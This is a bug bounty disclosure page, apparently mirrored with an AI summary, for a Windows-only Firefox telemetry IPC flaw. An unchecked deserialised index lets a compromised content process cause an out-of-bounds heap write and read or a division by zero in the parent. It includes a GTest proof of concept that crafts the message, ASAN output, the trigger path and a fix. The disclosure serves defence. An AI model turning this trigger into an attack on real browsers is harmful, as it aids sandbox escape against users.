CombinedStacks OOB Write/Read via GetUntrustedModulesData IPC (Windows-only)
A deserialised telemetry object lets a compromised content process supply an out-of-range stack index and a zero stack count, which the parent process then uses without checking. This gives an out-of-bounds heap write and read in the parent, plus a possible division-by-zero crash, in the sandbox-escape direction on Windows.
Originally disclosed on Mozilla
- Fixed in 3 days
- Paid in 11 days
- Disclosed after 3 days
Classification
- Type: Out-of-bounds heap write and read via std::vector::operator[] (no bounds checking)
- Attack vector: Compromised content process -> parent process (sandbox escape direction)
- Platform: Windows only (
#if defined(XP_WIN)) - ASAN confirmed: heap-buffer-overflow (1128 bytes past 64-byte allocation)
Summary
CombinedStacks::AddStacks() at toolkit/components/telemetry/other/CombinedStacks.cpp:76-94 uses attacker-controlled mNextIndex from a previously-deserialized CombinedStacks object to index into mStacks via std::vector::operator[]. Unlike nsTArray::operator[], std::vector::operator[] performs no bounds checking in release builds. This results in an OOB heap write (mStacks[mNextIndex].clear()) and OOB heap read (frame data at the OOB location), plus a division-by-zero if mMaxStacksCount = 0.
Root Cause
Deserialization (no cross-validation)
ParamTraits<CombinedStacks>::Read at CombinedStacks.h:85-103 deserializes four fields independently with no cross-validation:
static bool Read(MessageReader* aReader, CombinedStacks* aVal) {
// mModules, mStacks, mNextIndex, mMaxStacksCount
// all deserialized independently - no validation between them
}
AddStacks uses mNextIndex without bounds check
CombinedStacks::AddStacks() at CombinedStacks.cpp:76-94:
void CombinedStacks::AddStacks(const CombinedStacks& aStacks) {
mStacks.resize(std::min(mStacks.size() + aStacks.mStacks.size(),
mMaxStacksCount));
for (auto& stack : aStacks.mStacks) {
size_t index = mNextIndex % mMaxStacksCount; // DIV-BY-ZERO if 0
mStacks[index].clear(); // OOB WRITE
// ... copies frames from aStacks into mStacks[index]
mNextIndex = (mNextIndex + 1) % mMaxStacksCount;
}
}
Attack vector 1: OOB Write
At line 86: mStacks[index].clear() where index = mNextIndex % mMaxStacksCount.
Example: First IPC sets mNextIndex = 49, mMaxStacksCount = 50, mStacks has 1 element. Second IPC has 1 stack. mStacks.resize(std::min(1 + 1, 50)) = resize(2). Then mStacks[49].clear() -- OOB write past a 2-element std::vector. The .clear() modifies heap memory at offset 49 * sizeof(std::vector<Frame>) past the vector's data allocation.
Attack vector 2: OOB Read
At line 91-94: frame data read from aStacks.mModules[frame.mModIndex] where mModIndex is attacker-controlled uint16_t. std::vector::operator[] has no bounds checking in release. The read ProcessedStack::Module struct (contains nsString + nsCString) is then stored and later serialized to telemetry/JavaScript.
Attack vector 3: Division by zero
At line 83: mNextIndex = (mNextIndex + 1) % mMaxStacksCount -- if mMaxStacksCount = 0, integer division by zero (UB in C++, crashes on most platforms).
IPC Data Flow
- Parent calls
GetUntrustedModuleLoadEvents()(toolkit/components/telemetry/other/UntrustedModules.cpp:128) - Sends
SendGetUntrustedModulesData()to each content process (line 140) - Content process responds with attacker-crafted
UntrustedModulesDatacontaining maliciousCombinedStacks - Response arrives at
OnCompletion()(line 108), callsmBackupSvc->Backup()(line 112) Backup()callsmStaging.Add()(UntrustedModulesBackupService.cpp:80)- First response from a (pid, type) pair:
Insert()(safe move) - Second response from same (pid, type) pair: triggers
Merge()(line 29) Merge()(UntrustedModulesData.cpp:364): callsmStacks.AddStacks(newData.mStacks)at line 382- OOB write/read/divzero triggered
Trigger condition: The parent calls GetUntrustedModuleLoadEvents() twice before staging is cleared (e.g. about:third-party page load + reload, which uses KEEP_LOADEVENTS_NEW flag that skips SettleAllStagingData()). Each call sends a fresh SendGetUntrustedModulesData() to every content process. The first response for a given (pid, type) key gets Insert()'d. The second response for the same key hits Merge(). The attacker controls mProcessType and mPid in both responses.
Platform
Windows only. The entire infrastructure is gated behind #if defined(XP_WIN):
UntrustedModulesData.h:10:#if defined(XP_WIN)PContent.ipdl:635:#if defined(XP_WIN)
Impact
- OOB heap write in parent process from compromised content process on Windows
.clear()on an OOBstd::vector<Frame>object corrupts heap metadata or adjacent data structures- OOB heap read leaks parent process memory via telemetry data
- Division by zero causes parent process crash
- Sandbox escape direction: content -> parent
- The
mPid/mProcessTypeare attacker-controlled, making the Merge trigger reliable
ASAN Proof
Tested on mozilla-central with --enable-address-sanitizer --enable-debug --enable-optimize="-O1".
GTest PoC: toolkit/components/telemetry/tests/gtest/TestCombinedStacks.cpp (CombinedStacks.OOBWriteViaDeserializedNextIndex)
The test crafts a CombinedStacks via IPC ParamTraits deserialization with mStacks.size()=1, mNextIndex=49, mMaxStacksCount=50, then calls AddStacks() with a source containing 1 stack. AddStacks resizes mStacks to min(1+1, 50)=2, then accesses mStacks[49].clear() -- 47 elements past the end.
TEST(CombinedStacks, OOBWriteViaDeserializedNextIndex) {
// Craft a CombinedStacks via IPC deserialization: mStacks has 1 entry
// but mNextIndex=49, mMaxStacksCount=50.
IPC::Message msg(MSG_ROUTING_NONE, 0);
{
IPC::MessageWriter writer(msg);
IPC::WriteParam(&writer, std::vector<ProcessedStack::Module>{});
std::vector<std::vector<ProcessedStack::Frame>> stacks(1);
IPC::WriteParam(&writer, stacks);
IPC::WriteParam(&writer, size_t{49});
IPC::WriteParam(&writer, size_t{50});
}
CombinedStacks target;
{
IPC::MessageReader reader(msg);
ASSERT_TRUE(IPC::ParamTraits<CombinedStacks>::Read(&reader, &target));
}
// Source with 1 empty stack so AddStacks iterates once.
CombinedStacks source(50);
source.AddStack(ProcessedStack{});
// AddStacks resizes mStacks to min(1+1, 50)=2, then accesses
// mStacks[49].clear() — OOB heap write on a 2-element std::vector.
target.AddStacks(source);
}
Run: ./mach gtest "CombinedStacks.OOBWriteViaDeserializedNextIndex"
Test 1: Actual code path (AddStacks)
On macOS debug/ASAN, Apple's libc++ hardened std::vector::operator[] catches the OOB as SIGABRT before ASAN's heap poisoning fires. This is a debug-only mitigation -- Windows release builds have no such bounds checking in std::vector::operator[].
[ RUN ] CombinedStacks.OOBWriteViaDeserializedNextIndex
AddressSanitizer:DEADLYSIGNAL
=================================================================
==79135==ERROR: AddressSanitizer: ABRT on unknown address 0x0001849f35b0 (pc 0x0001849f35b0 bp 0x00016f1c8270 sp 0x00016f1c8250 T0)
#0 0x0001849f35b0 in __pthread_kill+0x8 (libsystem_kernel.dylib:arm64+0x95b0)
#1 0x00018493284c in abort+0x78 (libsystem_c.dylib:arm64+0x7984c)
#2 0x00031119f15c in mozilla::Telemetry::CombinedStacks::AddStacks(mozilla::Telemetry::CombinedStacks const&)+0x400 (XUL:arm64+0x1119f15c)
#3 0x000302bc3078 in CombinedStacks_OOBWriteViaDeserializedNextIndex_Test::TestBody()+0x464 (XUL:arm64+0x2bc3078)
...
SUMMARY: AddressSanitizer: ABRT (libsystem_kernel.dylib:arm64+0x95b0) in __pthread_kill+0x8
==79135==ABORTING
Test 2: Raw pointer equivalent (bypasses libc++ hardening)
To confirm the underlying heap corruption, an equivalent test accesses stacks[49] on a new Stack[2]() allocation via raw pointer arithmetic, bypassing libc++ hardened operator[]. This is what happens in Windows release builds where std::vector::operator[] compiles to unchecked *(data + index).
[ RUN ] CombinedStacks.RawPointerOOBEquivalent
=================================================================
==88618==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060007930c8 at pc 0x000302bc3820 bp 0x00016dde07e0 sp 0x00016dde07d8
READ of size 1 at 0x6060007930c8 thread T0
#0 0x000302bc381c in CombinedStacks_RawPointerOOBEquivalent_Test::TestBody()+0x1ec (XUL:arm64+0x2bc381c)
...
0x6060007930c8 is located 1128 bytes after 64-byte region [0x606000792c20,0x606000792c60)
allocated by thread T0 here:
#0 0x00010283a8bc in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x528bc)
#1 0x000102428cc0 in moz_xmalloc+0x10 (libmozglue.dylib:arm64+0xcc0)
#2 0x000302bc365c in CombinedStacks_RawPointerOOBEquivalent_Test::TestBody()+0x2c (XUL:arm64+0x2bc365c)
...
SUMMARY: AddressSanitizer: heap-buffer-overflow (XUL:arm64+0x2bc381c) in CombinedStacks_RawPointerOOBEquivalent_Test::TestBody()+0x1ec
The 1128-byte overshoot past a 64-byte allocation confirms: index 49 on a 2-element array of std::vector<Frame> (~24 bytes each) reads 47 elements (1128 bytes) past the allocated region.
Suggested Fix
Validate mNextIndex and mMaxStacksCount in AddStacks before use:
void CombinedStacks::AddStacks(const CombinedStacks& aStacks) {
if (mMaxStacksCount == 0) { return; }
mStacks.resize(std::min(mStacks.size() + aStacks.mStacks.size(),
mMaxStacksCount));
for (auto& stack : aStacks.mStacks) {
size_t index = mNextIndex % mMaxStacksCount;
if (index >= mStacks.size()) {
// mNextIndex out of bounds for current mStacks
break;
}
mStacks[index].clear();
// ...
}
}
Or validate in ParamTraits::Read that mNextIndex < mMaxStacksCount and mMaxStacksCount > 0.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the IPC deserialiser accepts mNextIndex and mMaxStacksCount independently without cross-validation, and AddStacks then indexes a std::vector with operator[], which does no bounds checking in release builds.
Impact
A compromised content process could corrupt parent-process heap memory, leak parent memory through telemetry, or crash the parent; the text notes that on macOS debug builds libc++ hardening aborts before ASAN fires, while Windows release builds have no such check.
What the attacker needed
Windows build; compromised content process; parent requests module data twice
The fix
The text suggests validating mMaxStacksCount and mNextIndex before use, either in AddStacks or in ParamTraits::Read; it does not say a fix was shipped.
How it was found
- The parent calls GetUntrustedModuleLoadEvents, which sends a request to each content process.
- A content process replies with crafted UntrustedModulesData containing a malicious CombinedStacks.
- The first reply for a given process id and type is inserted safely into staging.
- A second reply for the same key triggers Merge, which calls AddStacks.
- AddStacks resizes the vector and then indexes it with the attacker-supplied mNextIndex, causing the out-of-bounds access.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A browser splits itself into a locked-down part that renders web pages and a more powerful parent part. The parent asks each page process for some diagnostic data and trusts the reply. Here the reply can carry a number saying where to store a result, and the parent uses that number without checking it fits, so it writes and reads memory outside the intended area.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.